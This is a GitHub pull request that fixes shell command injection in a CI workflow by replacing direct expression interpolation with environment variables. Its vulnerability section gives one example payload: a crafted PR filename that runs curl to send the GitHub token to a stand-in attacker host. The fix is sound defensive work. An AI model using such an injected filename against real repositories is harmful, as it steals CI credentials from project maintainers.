fix: prevent command injection in CI workflow#327
Merged
Conversation
Replace direct ${{ }} expression interpolation with environment variables
in all `run:` blocks to prevent shell command injection via attacker-controlled
PR filenames, commit messages, and author names.
Fixes #325
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
.github/workflows/claude-code-review.ymlreported in [Security] Security issue in your GitHub CI workflow YAML files #325${{ }}expression interpolation of attacker-controlled data inrun:shell blocks withenv:variable mappingsVulnerability Details
Attack vector: An attacker could craft malicious PR filenames (e.g.,
$(curl evil.com/exfil?t=$GITHUB_TOKEN).tf) or commit messages containing shell metacharacters. When these values were interpolated via${{ }}directly intorun:blocks, the shell would execute the injected commands.Affected steps (now fixed):
commit_message,commit_author,changed_fileswere directly interpolated intoechocommandspr_head_refwas directly interpolated into git commandsgithub.event_nameand step outputs used directlybase.ref,issue.number) used directlyFix Pattern
Test plan
codebot hunt)Closes #325